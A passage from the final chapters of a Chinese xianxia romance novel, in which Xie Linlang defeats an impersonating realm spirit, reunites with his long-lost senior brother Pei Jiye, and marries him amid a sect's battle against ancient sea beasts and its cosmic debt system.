只要他变成裴霁的模样，就能彻底迷惑谢琳琅了！ 昆吾之灵真心觉得自己伪装得天衣无缝，可他哪想到，自己刚揽住谢琳琅，只说了一句话，就被谢琳琅捅了个对穿！ 这不对吧？为什么啊？这都快成昆吾之灵的执念了。 他的本体是无数天魔残渣凝聚而成，被谢琳琅召请来的天魔临死之前想的都是：我哪里伪装得不像裴霁了？ 渐渐的，这些残渣身上甚至出现了一抹执念集合体：一定要成为真正的裴霁，让谢琳琅被天魔所迷惑！ 昆吾之灵以此诞生，自然绞尽脑汁地试图完成诞生之初就存在的执念。 可他又一次失败了！！ 谢琳琅怒极反笑，他扶着背后的墙壁缓缓站起来，漠然道：“真假对我来说并不重要，重要的是我想这么做。” 昆吾之灵：？ 他震惊地看着谢琳琅，甚至有些小心翼翼了，小八哥的尾巴转着圈在报警，身体不自觉地向后撤：“你想这么做？你是说，你一直想捅死裴霁？” 谢琳琅笑了。 他本就脸色苍白，神情癫狂，此刻再听这咯咯咯的笑声，八哥甚至有种错觉，他就只是个弱小无助的八哥，而谢琳琅才是天魔！ “是啊，你满意了吗？天魔不断诱惑勾引之下，我的确无法遏制心底对师兄的杀意。” 谢琳琅扭曲而愤恨，姣好美丽的容颜透着一股令人心悸的疯狂，“与其他出门死在别人手里，还不如被我杀了！！” 八哥哆嗦了一下，他小心翼翼地问谢琳琅：“可你不是爱他吗？还、还说什么你在人间，我甚是欢喜……” 谢琳琅奇怪地看着八哥：“没错，我爱他啊，我爱他和我想杀他，又想让他活着并不冲突。” 八哥呆滞了。 人类的爱是不是过于复杂了？连他这个天魔残渣集合体都无法理解了。 “昆吾。” 就在八哥呆滞之际，之前站在墙边的谢琳琅不知何时竟来到了八哥面前，他堪称温柔地掐住了八哥的两个翅膀根，拎起了这只鸟。 “当初我将你孕育出来，你帮我保留遗产，你我间的恩怨已然两清了。” 谢琳琅身上散发着无数天魔横死后残留的憎恨与不甘气息，柔柔地说：“今天我运气不错，又新得了一批天魔残渣，反正芥子境内天然有造化之气，要不要我用新得的天魔残渣帮你升级一下？重新再孕育一次？” “你看啊，我都转世重修了，作为我的芥子境灵，你也重修一次，很合理吧？” 谢琳琅这么说，纤细白皙的手指猛地用力，狞笑道：“请天魔降临！！” “啊啊啊啊啊——” 尖锐凄厉的惨叫声在这片静室废墟间响起，昆吾之灵本就以天魔残渣为主体而成，诞生出的芥子境灵意识在某种程度上也可称为天魔。 当谢琳琅发动宝树经后，昆吾之灵的意识不受控制地冲入了谢琳琅体内，继而被早就有准备的谢琳琅直接撕扯成了碎片！ 昆吾之灵直到意识消失之际，都不明白为什么自己会失败。 谢琳琅碾碎了昆吾之灵后，他掌心突兀多了一枚钥匙。 这正是仙品芥子境的入口。 失去了芥子境灵的操纵，芥子境成了无主之物。 谢琳琅反手将天魔残渣一股脑塞进去，面无表情地收起了这枚芥子境。 下一秒，他突然觉得不对，猛地抬头看去，只见废墟外围站着一个人。 这人身穿长袍，黑色长发自然下垂，鲜红色的眼眸正静静看着他。 是裴寂夜。 对上谢琳琅的视线，裴寂夜忍不住缩了缩脖子，显然看到了刚才谢琳琅手撕【裴寂夜】的情形。 谢琳琅冷笑，“你都看到了？” 他握着七星剑，很不客气地耍了一个剑花，漠然地一甩，剑刃泛着冰冷的光，直刺裴寂夜的胸膛。 裴寂夜抬手一压，掐住了七星剑的剑刃。 他无视剑刃上缠绕着的蓝色星光，半是无奈，半是哽咽地说：“……我回来了。” 谢琳琅全身震动，如遭雷击。 他的眼眶突兀酸涩，眼尾发红，泪水几乎顷刻间要涌出去。 那一年，裴霁笑着说我出门一趟，等我回来，我们就结为道侣，再不分离。 然后他再也没有回来。 “我出门时间久了点，但无论如何，我回来了。” 裴寂夜轻声说：“我们、我是说，当初我们说好的，等我回来，我们就举行道侣仪式……” 他有些局促，有些不安，可还是坚持说完了迟到一百年的话。 “如果你愿意的话，我们现在就可以开始。” 谢琳琅再也撑不住了，他泪如雨下。 “……我愿意，我愿意啊，我一直都愿意！” 他愿意啊，他从始至终都愿意，只是裴霁这混蛋，没有给他说出我愿意的机会啊！ 裴寂夜心中大定，一直震动不停的七星剑仿佛感受到了主人的悲怆和难过，发出铿锵之声，继而熄灭了星光。 裴寂夜快步上前，终于拥住了他朝思夜想了很多年的人。 “对不起，我来迟了。” 谢琳琅扑在裴寂夜的怀中，嗷嚎大哭：“你这个混蛋！裴霁你是混蛋！！” 他呜咽着，死死环着裴寂夜的脖颈，“你怎么才回来啊？！” 他等得很辛苦。 第114章 第 114 章 我们今日结为道侣，生…… 谢琳琅哭得很惨。 他几乎将这近百年的悲伤、痛苦和忍耐全都发泄出来, 还毫不客气地狠狠捶了裴寂夜两拳。 裴寂夜没躲，老实地挨了。 毕竟比起刚才谢琳琅那愤怒的横扫一击，再对比倒霉蛋昆吾之灵被迫重修, 只是两拳头而已, 洒洒水啦。 裴寂夜顺着谢琳琅的话, 一个劲说自己不对, 是我错了, 都是我实力太弱, 在九灵宗被两个元婴一个化神打成了狗，是他太菜了才踩中陷阱云云。 谢琳琅条件反射地骂道：“那是九灵宗卑鄙无耻，和你没关系！” 裴寂夜失笑，他甜蜜地说：“是啊, 和我没关系, 都是别人的错。” 在他师弟眼里, 他这个师兄永远是最好、最完美的。 裴寂夜的笑声震动着胸腔，心跳声砰砰作响, 谢琳琅紧紧趴在裴寂夜怀里, 听着这坚定的心跳声，原本虚幻的、轻飘飘的心总算落了下来。 他终于有了裴寂夜还活着，就在眼前的真实感。 “……当年到底怎么回事？” “也没什么，交友不慎, 不小心中了暗算, 被激活了妖族血脉，抽走了三分之二的血脉力量……” 谢琳琅听得心疼极了, 他忍不住说：“你的洞灵剑是不是也落在那了？” “你怎么知道？”裴寂夜有些不好意思，“我输了，失手被擒, 洞灵自然落在了他们手中。” 谢琳琅抿唇，低低地道：“有人带回了洞灵，可是在我碰触到那把剑的瞬间就消散了。” 裴寂夜叹了口气，他不想说自己这些年的事，因为他不想再惹谢琳琅伤心和难过，于是他换了话题：“你呢？你怎么渡劫失败了？是不是师叔做了什么？” 谢琳琅轻哼了一声：“他能做什么？他什么都没做，我只是不想活了而已。” 裴寂夜倒吸一口冷气，连忙伸手抚摸谢琳琅的脸颊，吻如雨丝细细密密地落了下来。 “不，你要活着，只有你活着，我才能坚持下去，你一定要活着，琳琅。” “那你当初从上古坟场出来，却完全没想过给我送个消息？为什么？” “……你和别人结为了道侣，我……” 谢琳琅听后又怒了，他正要骂人，就见裴寂夜的脸色微微扭曲着，鲜红色的眼眸里浮现出凌厉与厉色，在意识到自己与谢琳琅对视后，裴寂夜连忙微微别开脸，似乎害怕自己吓到谢琳琅。 漆黑的长发散落下来，挡住了裴寂夜的半张脸，将这狰狞而扭曲的败犬神色藏了起来。 谢琳琅又是好气又是好笑：“我没有和别人结为道侣。” 裴寂夜怔了怔，勃然大怒：“应啸天那狗东西骗我？” 他简直出离愤怒了，就是因为他以为谢琳琅喜欢别人了，才没去找谢琳琅，继而蹉跎了这么多年的！ 谢琳琅轻轻道：“你那把玄魄剑就是我的道侣。” 裴寂夜听后眼睛微微睁大，他不可置信地看着怀里的黑发少年，看着那轻颤如蝶翼的长长睫毛，终于没忍住，再一次吻了上去。 “琳琅……琳琅……” 他哽咽着说：“我不该相信那种离谱的消息，无论如何我都给去到你面前，找你要一个答案，是我的错，对不起……” 怪不得谢琳琅这么愤怒，他明明如此爱他，他却以为谢琳琅有了新欢，居然不相信他们之间的爱，真的太蠢太不该了！！ “要不你捅我两剑吧，是我的错，都是我不好。” 裴寂夜语无伦次地说：“是我太自以为是了，我当时怎么就没去找你呢？” 谢琳琅跟着附和：“是啊，都是你的错。” 他的语气里恢复了曾经的骄纵，那是终于有人在他身后的安全和踏实感。 “好歹也是寂夜宫主，居然这么胆小！” “……我这寂夜宫主是个意外。” 提到寂夜宫，裴寂夜总算恢复了点理智，他苦笑道：“我为了从上古坟场逃生，只能转换了上一任宫主身上的债务契约，欠债还钱，但凡老天爷还不想让寂夜宫这笔债务消失，就一定会保证寂夜宫的正常传承……” “保证击鼓传花这个游戏可以进行下去？” “差不多是这样。” 裴寂夜叹了口气，他拢了拢谢琳琅耳边的发丝，慢慢道：“我在上古坟场探索时，无意间遇到了破损单同心玉璧，那是玄商王朝的商君权柄与功德圣器，商君残魂凭依于上，我为人族，却又觉醒了妖族血脉，我是人族修士，却被人族修士抽走了三分之二妖族血脉……商君用他的权柄帮我当稳定的了状态，抱住了我这条命。” 裴寂夜已经不愿去回想当初在商君冢发生的事了，反正他活着回到人世间，将培风老儿留在了坟场里。 “我见到那位培宫主了。”谢琳琅好笑地说：“我干掉了他。” “什么？”裴寂夜不可置信，“这么多年过去了，他居然还活着？！” 谢琳琅淡淡道：“他说要回来找你的麻烦，我一怒之下就送他上路了。” “琳琅真厉害，琳琅最棒了。” 裴寂夜虽然有心询问到底怎么回事，可是对上自家师弟那越发黑白分明的面容和神情，他明智地咽下了疑问，准备以后有机会了再慢慢说。 “总之，商君有着独特的【商】权柄，我凭借着他的力量，坐稳了寂夜宫的宫主之位，继续推迟债务到期的时间，但因为我是用特别手段推迟了债务，所以我无法离开寂夜宫势力范围之内。” 谢琳琅不解：“那你为什么要提前开启寂夜长吟？” “我没打算开启寂夜长吟。”裴寂夜苦笑道：“我只是打算以此为理由，让整个寂夜宫的修士提供足够庞大的法力，以打开上古坟场，将你救出来……” 谢琳琅怔了怔，神色柔和下来。 “那现在怎么办？寂夜长吟已经开始了，你能熬过这一关吗？” 若是寂夜宫被无数上古海妖覆灭，天道清算寂夜宫过往债务，哪怕裴寂夜侥幸在大战中活下来，作为寂夜宫之主，也逃不过天道清算。 裴寂夜道：“我下来之前，将有商君残魂的同心玉璧交给了姚黄，她暂时主持阵法中枢，挡住了第一波攻击。” 顿了顿，他语气微妙起来，“如月在渡劫，他渡劫的劫云带出了我的天劫，我的天劫是级别最高、威力最强的诛魔神雷，劫云之下，众生平等，很多海妖都死在了劫云之下。” 说到这里，裴寂夜冷不丁想起一件事，有些急躁地问：“对了，你也要渡劫了，没事吧？” 谢琳琅垂眸，他细细感受了一番体内的魔气，缓缓道：“问题不大，我有渡劫的特殊办法。” 这一世他以宝树经重修，外修魔气、内修天魔之力，而宝树经最后一卷里有一些独特的妙法，比如以人之身幻化为天魔之形。 天魔本就是天劫中的一部分，会有天魔来考察修士的心境，谢琳琅自己变成天魔，再将劫云之力转移到降临的天魔身上，找个替死鬼就行了。 这是唯有以宝树经为修行根本才能施展的秘法，曾经谢琳琅虽然会这一招，但因天魔之力不足，无法骗过劫云，这才陨落于上一次天劫之下。 “但天劫和天劫相互联系。”裴寂夜坚定地说：“我先渡劫，等我渡劫结束后你再渡劫吧，妖蝶前辈有暂时模糊天际、推迟天劫的秘法，有她庇护着你，你当无事……” 谢琳琅猛地抓住裴寂夜的手，目光有些发直。 “你什么意思？你要去渡劫？让我等着？” 裴寂夜正想说我去去就回，话还没说出口，就被谢琳琅那隐隐泛红的眼神牢牢锁定着，那嘴边的话再也说不出口了。 他沉默了几秒，缓缓道：“有商君帮忙，第一波攻击已经扛过去了，如月自己在渡劫，我现在冒出去只会增加他的劫云难度，也就是说正好有这么一个空隙……” 裴寂夜郑重地说：“琳琅，我们举行道侣仪式吧！” 谢琳琅仿佛产生了幻听，他下意识地问：“什么？” “我们举行道侣仪式吧！你来布置会场，我去上面叫点人下来帮忙！” 裴寂夜越说越兴奋，“这本就是我欠你的，我们请商君为司仪，请妖蝶前辈为见证，请诸多同道来观礼，我们、我和你在此结为道侣，生死与共，白首相约，不离不弃！” 说到最后，他热泪盈眶，声音哽咽。 “哪怕天劫降临，哪怕生死相隔，哪怕我们都不在人世间了，我们依旧永远无法分割，始终为一体，好不好？” 谢琳琅大恸的同时又格外激动欢喜，他的眼眶也湿润了，连连点头：“好好好，我们今日结为道侣，生死不离。” …… 寂夜宫前，众多寂夜宫修士正在趁着这段休息时间赶紧补充丹药、调息魔气。 姚黄仙子正在和师妹魏紫仙子说着话，时不时看一眼远处海面上正在渡劫的倒霉蛋如月尊者，再催一下林郁，让他赶紧去将地宫下面的裴寂夜叫出来。 “要不是他的诛魔神雷劈死了最厉害的三头海兽，极大缓解了这么多上古海兽的攻势，我们全都完蛋了！” 姚黄仙子烦躁地叱骂，“他不赶紧和真界道友们好好协商后续事宜，自己跑到地宫不知道做什么，简直有病吧？” 她刚骂了两句，就见一条白色骨链从山门大殿里侧的一个口子冒出来，继而化为了人型，正是林郁。 林郁一副天塌了的木然表情：“出事了，宫主说想要在这时候成婚？” 姚黄：“……什么？他真病了？” 魏紫：“师姐，这你就不懂了，打完这一仗回老家结婚这种话非常不吉利，寂夜宫主这是害怕失败，才提前将婚结了。” 第115章 第 115 章 道侣仪式。 “成婚？这个时候？” “他要成婚？他忘记自己还在渡劫了吗？” “不是, 就算不提渡劫的事，眼前这一大堆烂摊子被他无视了吗？” “哈哈哈如月还在渡劫呢，他裴寂夜想成婚？我第一个不答应！！” “……” 果不其然, 诚如姚黄仙子所想, 本来真界诸多修士正在商量着怎么对付接下来的寂夜长吟, 安排各门派值守时间, 轮换批次, 再让寂夜宫这边开放休息的安全点, 将部分阵眼交给真界修士进行轮换呢，结果你寂夜宫主要干什么？成婚？ 你怎么不上天呢？ 不等真界的修士们怒发冲冠再一次集结起来一起找裴寂夜的麻烦，裴寂夜自己从流萤岛的出口冒泡了。 谢琳琅在下面布置会场，裴寂夜出来找人帮忙。 “所谓的成婚是一种仪式。” 面对真界诸位同道的质疑, 裴寂夜怡然不惧, 他如此解释道：“成婚, 两个人气运相连、生死与共，神魂永不分离, 换言之, 债务也将用共有。” 此言一出，诸位道友们都安静了，不知道是谁小声嘟囔了一句。 “果然狗改不了吃屎，这是自己债务上限无法再延期了, 就想将债务分给道侣？好卑鄙啊。” 一个白面书生站了出来, 他一脸愤怒地说：“我不同意！裴寂夜，我不同意你们的婚事！” 裴寂夜心中冷笑, 正想说你谁啊，有资格质疑他和谢琳琅的婚事？但等他定睛一看，瞬间闭嘴了。 夕死门的李平湖啊！ 这次谢琳琅重修后就披了夕死门的马甲, 李平湖还是谢琳琅后来认识的、关系不错的朋友，看在李平湖对谢琳琅多有援手的份上，裴寂夜就不好发火。 他只能耐着性子说：“我和他已经说开了，过去的事都是我的错，正因为我上次失信于他，这次才不想留下任何遗憾……” 李平湖狐疑地盯着裴寂夜：“那谢玉呢？你让他出来，我要问他怎么回事！” 裴寂夜只能憋屈地说：“他在地宫准备仪式，要不你自己去问他吧。” 李平湖这才阴鸷地瞪了裴寂夜一眼，一闪身消失了。 裴寂夜松了口气，脸上又浮现出了作为寂夜宫主的傲然，他道：“姚黄，你找几个新得过的人暂时看护阵法，你和林郁过来参加婚礼……” 姚黄仙子冷笑：“婚礼？作为你的好闺蜜，是不是还要我给你当伴娘啊？” 裴寂夜：“……” 哦咯，糟糕，刚才他是不是说错话了？ “宫主，如、如果你要和谢师兄成婚，那我们这些与谢师兄同年的师兄弟能去观礼吗？” 一个略显稚嫩而清脆的声音响起，正是沈鹤。 沈鹤先向林郁行礼，“弟子沈鹤，是林师尊的弟子，谢玉是我们这批同时入门的师弟，我们想去帮忙……” 帮忙是假，沈鹤迫切地想要见到谢琳琅，他想问问谢琳琅到底发生了什么。 哪怕裴寂夜算是他的亲戚，可玉佩师尊更重要啊！ 裴寂夜的目光落在了沈鹤身上。 哦他想起来了，这就是一直缠着谢琳琅，还总是能得谢琳琅的青睐和照顾的新入门弟子吗？炼丹天赋极佳，也有一两分谢琳琅的风采和神韵的小家伙。 裴寂夜脸色缓和了几分：“哦，那你和你那几个师弟也去看看他吧。” 沈鹤躬身行礼后，立刻招呼着洪奎和乐清屏去地宫，洪奎倒是乐颠颠地去了，他算是寂夜宫主的嫡系，如今宫主要成婚，他这个徒孙肯定要好好捧场啊。 乐清屏倒是不太乐意，她注意到自家师尊姚黄仙子脸色铁青，总觉得下一秒师尊就会暴起伤人。 姚黄仙子注意到了乐清屏的眼神，面前收敛了怒色：“你也去吧。” 乐清屏懂了，这是让闲杂人等先滚，大佬们自己处理内部矛盾吗？ 那赶紧溜！ 地宫已经大变模样。 原本地宫内黑色墙壁黑色地面，到处都是行走的黑甲修士，然而现在墙壁和地面居然变成了玳瑁一样的白，上面时不时流过五彩炫光，美丽而梦幻。 黑甲修士全都不知道去哪里了，乐清屏顺着炫彩廊道来到前方一扇巨大的殿门，打开殿门后，就见眼前这巨大的宫殿空间垂着九条布幔，布幔上流动着巨大玄鸟、幻化天魔以及无边火焰的纹路。 场地中心有个古朴的祭坛，此刻谢琳琅正跪在地上快速刻画着符文。 李平湖站在一侧，一边快速扇着扇子，一边语速极快地说着裴寂夜的坏话。 “他上次假死跑来搞事业，有一次就一定有第二次，你别在他一株歪脖树上吊死。” 谢琳琅抿嘴笑，他温和地说：“谢谢你，李大哥，我知道你是为了我好才这么说的。” 李平湖见状更痛惜了，他连忙绕到谢琳琅另一侧：“那你还要和他成婚？你这符文……我怎么看着不太像是道侣仪式用的白首契？” 谢琳琅沉默了一下才道：“这是上古时代用于两个种族间、无法毁灭更无法消除的契约。” 他眼中恍惚间闪过了在商君冢时见到的仪式片段。 “你说的对，我的确很担心他在放我鸽子。” 谢琳琅嫣然一笑：“所以我打算用点更为保险的仪式，在天地见证下，结为永远纠缠、再也无法分割的盟约，哪怕最终我们可能拔剑相向，甚至生死相隔……” 但人族和妖族的血脉依旧永远交缠着、流淌着，源源不断、涓涓不息。 “这样他就再也没法甩开我啦！” 李平湖：“……” 对不起我错了，原来男鬼不是他，是你啊！ 乐清屏没敢靠近，她很清楚谢玉本就是某个转世的大佬，而现在大佬归来，龙王归位，她这种小虾米站在旁边当壁花就行了。 但沈鹤大无畏地冲了过去。 “谢师兄，你没事真是太好了！” 沈鹤眼中的忧虑几乎化为了实质，他紧紧拉着谢琳琅的袖子，眼中满是惊喜和庆幸。 “那天山腹爆炸后，我又回去找你，但怎么都找不到，我还以为……” 谢琳琅看了沈鹤一眼，眼神有一瞬间的恍惚。 啊，他怎么没发现呢？其实沈鹤和裴寂夜还是有很大差别的。 也许是血脉的缘故，沈鹤与裴寂夜的眼睛有相似的地方，但裴寂夜经过各种突变，又遭到了种种人生痛苦之事，他的眉心已然出现了细细的纹路，裴寂夜的眼神也变得深邃、漠然和冰冷，只是在看着自己的时候才会有点温度。 而沈鹤的眼神过于明亮热烈，就像是未曾遭遇挫折的裴霁。 谢琳琅轻轻叹息道：“我怎么会出事呢？他还在人间，我就是死了也要想办法回来。” 沈鹤听后抿唇，他小声道：“师兄，你确定要和他再续前缘了吗？” 谢琳琅随口道：“怎么？你有意见？” 他正想说你有意见也没用，这是他和裴寂夜的事，哪里轮得到沈鹤插嘴。 下一秒就听沈鹤雀跃地说：“不，我没意见，我很高兴，因为这样一来，你就是我的亲人了。” 他重复着，语气坚定而激动，“我能叫你叔叔吗？” 谢琳琅哑然，他看着眼神亮亮的沈鹤，温和道：“当然可以，随你怎么叫，你都已经是我的亲人了。” 这孩子依旧一片赤忱，真好啊。 沈鹤大喜：“叔！” 养魂瓶里的高淳秋颇为郁闷，按照血脉辈分推测，他才是沈鹤的叔叔好不好？ 高淳秋暗暗下定决心，他要尽快想办法重塑真身，他也要重修！ 也许是心有灵犀，在谢琳琅画完最后一笔符文时，恰好裴寂夜带着一群真界和魔域的修士进入地宫。 这群人脸上和身上或多或少都有些交手和打斗的痕迹，应啸天甚至变成了本体，白色骨头串成狗的形态，走路时骨头碰撞着，发出了叮当之声。 应啸天一边走还一边嘀咕：“有病啊！大敌当前自己人先打了一架，起因居然是一个想成婚一群人想阻止，这样的真界和魔域就算被上古海妖全部冲击成渣滓，也一点都不令人意外！” 裴寂夜倒是看上去毫发无伤，或者他用术法遮蔽了脸上的伤势，甚至因为即将与谢琳琅结为道侣，整个人反而容光焕发，神采奕奕。 “我回来了。” 裴寂夜现在特别喜欢说这句话，“观礼的人都到了，我也请来了商君，妖蝶前辈也来了。” 随着他这句话，无形的、半透明的薄纱轻轻落下，谢琳琅隐隐听到了一丝铃铛般的笑声。 谢琳琅起身，他还是那身漆黑长衣，宽大袖袍拂过写满符文的地面，谢琳琅笑着指了指祭坛：“是不是觉得有点眼熟？” 裴霁先是一愣，继而恍然明白了什么。 他语气郑重地说：“没问题，难为你能在这么短时间内弄出这样的祭坛。” 谢琳琅眼中有些湿润，他想笑，眼角却不争气地落下了泪水。 “因为我在芥子境里储存了很多很多关于成婚用的东西，做梦都想有一天能用上啊。” 嗡—— 金色的玉璧凭空而出，一个身穿玄色长衣、气势恢宏之人浮现于祭坛旁。 “在诸神神佛见证之下，以玄商之名，你们今日将结为道侣。” 他头戴高冠，金色竖瞳中带着淡淡笑意，张开了双手，同时对着谢琳琅和裴寂夜。 “谢琳琅，裴霁，你们愿意吗？” 谢琳琅和裴寂夜对视了一眼，同时道：“我愿意！” 话音落下的瞬间，金色的光从同心玉璧上流淌而出，链接了谢琳琅和裴寂夜的神魂。 浓烈的爱与情在两人心田来回流动，再也无法将两人分离。 金色炫光之下，裴寂夜紧紧抱住了谢琳琅，郑重而珍惜地吻了上去。 恨不得此时此刻化为永远。 不知道过去了多久，突然有人大喊道：“寂夜宫主，寂夜长吟第二波攻势开始了！你这婚结完了吗？亲够了吗？避开什么必死节点了吗？赶紧上去渡劫！让天劫继续劈海妖啊！！” 原本还算肃穆围观的众多修士轰然大笑起来。 裴寂夜没有理会周围修士们的笑声，他不舍地松开谢琳琅，迟疑着说：“……我们一起？” 他再也不敢、也不会说，你在这里等我了。 谢琳琅重重点头：“我们一起，不管是天劫还是灾厄，我们都一起面对。” 他再也不敢、也不会让裴霁一个人离开了，他要死死抓着裴霁的手，永远不放开。 “好，我们一起。” 两人相视一笑，紧紧握着彼此的手。 纵然前方仍然充满了荆棘险阻，纵然生死难料，可这一刻，他们心中充满了勇气和希望。 第 116 章【正文完结】 第116章 第 116 章 正文完结。 寂夜长吟结束了。 事实上在结束的时候, 所有人都觉得不可思议。 就这么简单结束了？ “倒也没有很简单。” 裴寂夜臭着脸说：“我并不想替寂夜宫偿还债务，可琳琅与我结为道侣，这笔烂账会影响到他, 所以在发动寂夜长吟之前, 我有考虑过不下于三种方法搞定这个麻烦。” 裴寂夜作为寂夜宫主, 虽然一开始是不得已和赶鸭子上架, 可最终他能坐稳宫主之位, 在几位化神、渡劫等宫内前辈阴冷的注视下成功掌握实权, 自然也做了不少事情。 “我可是被当做九夏山掌门来培养的，料理寂夜宫也算是业务对口吧？” 最初裴寂夜想的是破产清算。 寂夜长吟扛不住的时候，利用商君权柄发起协商，以破产清算、剥离不良资产为由申请破产清算, 因为寂夜宫目前的债务本质上是代代寂夜宫修士积累的漏洞。 经过裴寂夜这将近一百年的整顿, 被他留下的以及新招收的弟子都算是良性资产, 理论上当他申请破产清算后，这部分资产会被剥离再进行重组, 想必老天爷也不希望真的收不回以前的债务吧？ 一旦寂夜宫完成实际意义的重组, 抛弃这些有问题的债务，轻装上阵，裴寂夜有把握在他当宫主的期间将寂夜宫做大做强。 前提是谢琳琅好好活着，在九夏山当他的琳琅道君。 看在谢琳琅生活在人世间的份上, 裴寂夜倒也没打算拉着所有人一起死。 但谁能想到光风霁月的谢琳琅身死道消了呢？ 于是裴寂夜一边想办法找谢琳琅, 一边摆烂不想干了。 为此他还将本来用于出清债务当替死鬼的培风老儿的嫡传弟子直接嘎了当出气筒。 结果兜兜转转，谢琳琅就在他身边, 就在他眼前！ ……那没什么可说了，之前被裴寂夜扔到一边的计划又被捡了起来。 甚至叠加了诛魔神雷这款最高级别的天劫，裴寂夜顶着天劫的轰击不断游走在诸多上古海兽之间, 收获了非常多上古大妖的尸骨和血脉。 他用这些资源提升寂夜宫弟子的修为，再和真界诸多修士做交换，结合着商君的权柄，最重要的是有谢琳琅的支持和陪伴，最终裴寂夜成功带领寂夜宫扛过了寂夜长吟。 而凭借着寂夜宫积累的功德与阵法庇护，他也成功度过了渡劫期的天雷，摇身一变成了整个大陆上五个手指数得过来的大乘期修士。 一旦成为大乘期修士，就意味着将来大概率能飞升成仙，也就是说寂夜宫的债务以后和裴寂夜没关系啦！ 可以说，裴寂夜这把卡在寂夜长吟即将摧毁寂夜宫的边缘度过天劫，进入大乘期的操作，堪称是历代寂夜宫规避债务的最佳典范，毕竟寂夜宫一直都有：成仙了就可以欠债不还的传统。 然而谢琳琅也拜入了寂夜宫啊，他身上也有一些债务，尽管这些债务对比大部分寂夜宫弟子算少的，而裴寂夜渡劫后身上没了债务，也不存在道侣共同债务的说法，但谢琳琅还是没有退出寂夜宫。 只要他是寂夜宫弟子，就要肩负起最基本的宗门债务，为此裴寂夜第一次觉得谢琳琅那个夕死门修士的马甲挺好的。 “你退出回到夕死门吧。” 裴寂夜自己从泥潭里脱身了，却发现谢琳琅被迫陷了进去，整个人都不好了。 谢琳琅倒是觉得无所谓。 “这里总归是你生活过的地方，沈鹤也在这里。” 提到沈鹤，裴寂夜的表情更不好了：“你是不是在他身上找我的影子？” 谢琳琅淡定地说：“当初是谁假扮夜前辈盯着沈鹤炼丹的？” 既然大家都半斤八两，就别再掀这个老底了。 真界修士虽有损伤，但总体来说也收获颇丰，有不少人经过此战，都准备回去闭关消化所得，必然可以进阶渡劫。 当然这里面不包含如月尊者，他的天劫夹杂在裴寂夜的天劫里，难度比普通的化神修士要强，虽然渡劫时被劈得血肉模糊，看不清人样了，但是等他真的度过了天劫，他身上散发的奇异魅力和堪称瑰丽的容颜，即便是天凌宗那两个护剑人都看直了。 如月尊者第一时间去找裴寂夜，想要再试试裴寂夜能否被他影响。 然后不出意外的，他又被裴寂夜捅成了叉烧。 天魅宗主有些无语地看着凄惨的如月尊者，没好气地说：“人家可是大乘期的修士，你比他差一个大境界，你想什么呢？” 如月尊者揉着自己的被揍成饼的脸，愤愤不已：“这个混蛋，等我渡劫成为仙人，我要他好看！” “……他道侣的修为和你一样，你没机会的。” 说到这里，天魅宗主语气八卦地说：“说起来有传言那位谢玉是某位转世重修的大能，否则实力不可能进阶得这么快，他是谁？你知道吗？” 如月尊者怔了怔，面色古怪：“啊，你不知道？大家都还不清楚谢玉的身份吗？” 天魅宗不明所以：“谢玉有什么身份吗？” 如月尊者正想说谢玉都是裴寂夜的师弟了，他是谁不是一目了然吗？ 但下一秒如月尊者反应过来了，等等啊，裴寂夜好像一直没有说自己取代了培风老儿成了寂夜宫主，他对外还是以裴（培）宫主自称，他这个裴寂夜的名字，也只是姓氏加上寂夜宫的名号而已！ 如月尊者在心里为倒霉的、直到死了也没什么人知道的培风老儿鞠了一把同情泪，又好奇地问：“说起来你了解以前的裴宫主吗？” “以前的裴宫主？”天魅宗主皱眉，“多久叫以前？” “你没发现寂夜宫主换人了吗？大概换了一百年了吧？” “……是有觉得如今的裴宫主和过去的培宫主性格与功法有些不同，但这其实不好说。” 如月尊者惊讶不已：“什么意思？” 天魅宗主沉吟片刻才道：“寂夜宫因为特殊的功德债务系统，他们那些陨落的前任宫主是有概率重新出现的，这也导致了寂夜宫主即便突然变了人，魔域这边的宗门也不会过多探究。” 如月尊者倒吸一口冷气：“有概率重新出现？” 那培风老儿还会冒出来？真的假的？ …… 谢琳琅有些震撼地看着眼前的房间，房间密密麻麻悬浮着一个个铭牌，每个铭牌上都写着一个名字，名字上缠绕着漆黑色的线，将整个房间看起来仿佛是蜘蛛网一样诡异而可怕。 裴寂夜掌心一点光亮，指着上面这些铭牌说：“这里就是整个寂夜宫的核心，这些铭牌就是代代寂夜宫主，以及经过了寂夜宫宗门大阵庇护渡劫的弟子名录，当然还有死于寂夜宫内的弟子铭牌。” 谢琳琅猛地想到了陨落后变成黑甲修士的方师兄，忍不住道：“那些黑甲修士……？” 裴寂夜眼中闪过一点笑意：“没错，就是他们，虽说寂夜宫修士只要度过天劫，成为大乘期修士，就能从这些束缚中脱身，可是古往今来能真正走到最后的修士又有几个人？每个人都觉得自己是特殊的，能修成大道，飞升成仙，逍遥长生，但这都是妄念。” 谢琳琅柔声道：“不，对你来说不是妄念，而是事实。” “在与你重逢之前，我从未想过要飞升成仙。” 裴寂夜垂眸，他叹息着说：“当时我满心都是你已经有了新欢，忘记了我这个旧爱，若我再去找你，实在是难堪和丢人，所以我想着，无论如何你尚在人间，那我也想留下来，想要和你共同存在于同一片天空下。” “每当我仰望魔域这边的天空，我就会忍不住想，是不是你也在看这片天空？” 他轻声道：“我们看到的是同一片天空，真好啊。” 他因谢琳琅而勉强活了下来，这是谢琳琅第一次拯救了他。 谢琳琅轻哼了一声：“那你这要求太低了，放个牌位也没关系。” 裴寂夜莞尔：“总之，每一任没能成仙的寂夜宫主死后，魂魄不散，会被束缚在寂夜宫，作为寂夜宫不断向天借债的抵押物，只要寂夜宫的债务没有肃清，所有历代寂夜宫主的神魂都将化为黑甲修士，永世不得超生，永远成为这座宫殿的薪柴和傀儡。” 谢琳琅倒吸一口冷气，他浑身发冷，若果真如此，是不是说即便他在芥子境内留下了传承，也永远无法等到裴霁的到来？ 谢琳琅下意识地抓住了裴寂夜的手，漆黑如夜明珠的眼眸紧紧盯着裴寂夜。 裴寂夜回握住谢琳琅的手腕，诚恳而叹息着说：“所以……所以啊……” 你在人间这件事，又一次拯救了我。 谢琳琅注视着裴寂夜那双鲜红的眼眸，纵然他再度与裴霁重逢，也结为了生死与共的道侣，可过去发生的事情终究在裴霁身上留下了痕迹。 但是没关系。 “过去的终究过去了。” 谢琳琅伸手抱住了裴寂夜的脖颈，两人额头抵着额头，气息交缠，流淌着温馨和柔软。 “你不知道，在我得知你还活着时，是有多么高兴。” 哪怕正在与九灵宗主鏖战，但谢琳琅却完全无法遏制当时发自内心的喜悦和欢欣。 “你在人间，真是太好了。” “是吗？可我现在是大乘期修士了，一不留神就要飞升成仙了。” 